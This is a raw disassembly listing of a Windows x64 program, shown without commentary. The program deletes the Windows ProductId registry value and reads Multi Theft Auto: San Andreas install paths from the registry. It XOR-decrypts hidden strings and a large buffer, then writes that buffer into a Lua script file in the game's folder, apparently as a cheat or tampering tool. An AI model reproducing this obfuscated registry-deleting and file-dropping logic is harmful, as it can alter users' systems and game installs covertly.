lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400486a0
lea rcx, [rbp - 0x40]
call fcn.14003d570
jmp 0x14004315c
mov edx, 0x1388
mov ecx, 0x64
call fcn.14003ede0
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140046f70
nop
mov edx, 0x1f40
mov ecx, 0x64
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp + 0x358]
call fcn.140046f70
nop
mov r8d, 0xf
lea rdx, str._41Z79_03200_S6
lea rcx, [rbp + 0x358]
call fcn.140046e40
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x118]
call fcn.140048020
nop
lea r8, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r8, qword [rbp + 0x118]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor edx, edx
mov ecx, 0xfde9
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a8], xmm1
lea ecx, [rax - 1]
movsxd r8, ecx
lea rcx, [rbp + 0x198]
call fcn.140047890
lea rdx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 8
cmovae rdx, qword [rbp + 0x198]
lea r8, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r8, qword [rbp + 0x118]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
xor edx, edx
mov ecx, 0xfde9
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140040306
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040301
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140040301
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x128], xmm0
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14004035c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040356
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140040356
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x370]
cmp rdx, 0x10
jb 0x1400403a0
inc rdx
mov rcx, qword [rbp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004039b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004039b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x368], xmm0
mov byte [rbp + 0x358], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400403f7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400403f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400403f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
lea rax, [rbp + 0x4700]
mov qword [rsp + 0x20], rax
mov r9d, 0x20106
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x140040456
lea rdx, str.Error_opening_registry_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140047520
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1400476f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400404af
lea rdx, str.ProductId
mov rcx, qword [rbp + 0x4700]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebx, eax
test eax, eax
je 0x1400406d5
lea rdx, str.Error_deleting_registry_value:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140047520
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1400476f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x4700]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm1, xmmword [0x140170878]
movups xmm0, xmmword [str.HISO]
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x40], xmm0
movzx eax, byte [0x1401708a0]
movsd xmm1, qword [0x140170898]
movups xmm0, xmmword [0x140170888]
mov byte [rsp + 0x78], al
movsd qword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x60], xmm0
mov r8d, r12d
cmp r14d, 2
jl 0x140040637
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140040530
cmp r8d, 0x39
jge 0x140040680
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140040650
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x140040900
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
jmp 0x1400430fb
mov rcx, qword [rbp + 0x4700]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r9, [rbp + 0x198]
call fcn.14003d9f0
test al, al
jne 0x140040914
movups xmm0, xmmword [0x140170720]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140170730]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170740]
movups xmmword [rsp + 0x60], xmm0
movsd xmm1, qword [0x140170750]
movsd qword [rsp + 0x70], xmm1
movzx eax, byte [0x140170758]
mov byte [rsp + 0x78], al
mov r8d, r12d
cmp r14d, 2
jl 0x140040887
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140040780
cmp r8d, 0x39
jge 0x1400408d0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400408a0
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
jne 0x1400406b0
lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400486a0
jmp 0x1400430fb
lea rcx, [rbp - 0x40]
call fcn.14003d570
lea rax, [rbp + 0x4708]
mov qword [rsp + 0x20], rax
mov r9d, 0x20219
xor r8d, r8d
lea rdx, str.SOFTWAREWOW6432NodeMulti_Theft_Auto:_San_Andreas_AllCommon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140040953
lea rdx, [0x14016f99c]
jmp 0x1400409c9
mov dword [rbp + 0x4700], 0x2000
lea rax, [rbp + 0x4700]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x650]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov r9d, 2
lea r8, str.GTA:SA_Path
xor edx, edx
mov rcx, qword [rbp + 0x4708]
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov rcx, qword [rbp + 0x4708]
test eax, eax
je 0x1400409bc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.wypierdolilem_sie_xdd
call fcn.1400011d0
lea rdx, [0x14016f99c]
jmp 0x1400409c9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x1d8]
call fcn.140046750
nop
cmp qword [rbp + 0x1e8], 0
jne 0x140040c05
movups xmm0, xmmword [0x140170638]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140170648]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170658]
movups xmmword [rsp + 0x60], xmm0
movsd xmm1, qword [0x140170668]
movsd qword [rsp + 0x70], xmm1
cmp r14d, 2
jl 0x140040b61
movdqa xmm5, xmmword [0x140170cd0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140040a60
jmp 0x140040ba0
lea r9, [rsp + 0x40]
mov r8d, r12d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140040b70
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x140040bf1
mov r8d, 0x2010
lea rdx, [rbp + 0x2660]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
jmp 0x140043098
lea r8, [rbp + 0x2660]
mov rdx, rax
call fcn.1400486a0
jmp 0x140043098
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x278]
call fcn.14003ec30
nop
mov r8d, 0x10
lea rdx, str._scriptslua.lua
mov rcx, rax
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x188], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x188], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x290]
cmp rdx, 0x10
jb 0x140040cab
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040ca6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140040ca6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
lea rdx, [rbp + 0x178]
cmp qword [rbp + 0x190], 0x10
cmovae rdx, qword [rbp + 0x178]
mov r8d, 2
lea rcx, [rbp + 0x540]
call fcn.140046c50
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x540], rbx
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x53c], edx
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x540]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x140040f65
movups xmm0, xmmword [0x14016fc08]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x14016fc18]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x14016fc28]
movups xmmword [rsp + 0x60], xmm0
movsd xmm1, qword [0x14016fc38]
movsd qword [rsp + 0x70], xmm1
cmp r14d, 2
jl 0x140040ec1
movdqa xmm5, xmmword [0x140170cd0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140040dc0
jmp 0x140040f00
lea r9, [rsp + 0x40]
mov r8d, r12d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140040ed0
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x140040f51
mov r8d, 0x2010
lea rdx, [rbp + 0x2660]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
jmp 0x140042feb
lea r8, [rbp + 0x2660]
mov rdx, rax
call fcn.1400486a0
jmp 0x140042feb
lea r10, [0x14017a3f0]
cmp byte [0x14017abf1], 0
je 0x140041113
mov r8d, r12d
cmp r14d, 2
jl 0x1400410cd
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [0x14017a3f4]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x800
jl 0x140040fc0
cmp r8d, 0x802
jge 0x140041113
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x802
jl 0x1400410e0
mov rdx, r10
lea rcx, [rbp + 0x540]
call fcn.140047520
lea rcx, [rbp + 0x548]
call fcn.140046ba0
test rax, rax
jne 0x140041155
mov rax, qword [rbp + 0x540]
movsxd rdx, dword [rax + 4]
lea rcx, [rbp + 0x540]
add rcx, rdx
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rbp + 0x4708]
mov qword [rsp + 0x20], rax
mov r9d, 0x20219
xor r8d, r8d
lea rdx, str.SOFTWAREWOW6432NodeMulti_Theft_Auto:_San_Andreas_All1.6
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14004118b
lea rdx, [0x14016f99c]
jmp 0x140041201
mov dword [rbp + 0x4700], 0x2000
lea rax, [rbp + 0x4700]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x650]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov r9d, 2
lea r8, str.Last_Run_Location
xor edx, edx
mov rcx, qword [rbp + 0x4708]
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov rcx, qword [rbp + 0x4708]
test eax, eax
je 0x1400411f4
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.wypierdolilem_sie_xdd
call fcn.1400011d0
lea rdx, [0x14016f99c]
jmp 0x140041201
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0xb8]
call fcn.140046750
nop
cmp qword [rbp + 0xc8], 0
jne 0x140041455
movups xmm0, xmmword [0x14016fd00]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x14016fd10]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x14016fd20]
movups xmmword [rsp + 0x60], xmm0
movsd xmm1, qword [0x14016fd30]
movsd qword [rsp + 0x70], xmm1
movzx eax, byte [0x14016fd38]
mov byte [rsp + 0x78], al
mov r8d, r12d
cmp r14d, 2
jl 0x1400413a7
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400412a0
cmp r8d, 0x39
jge 0x1400413f0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
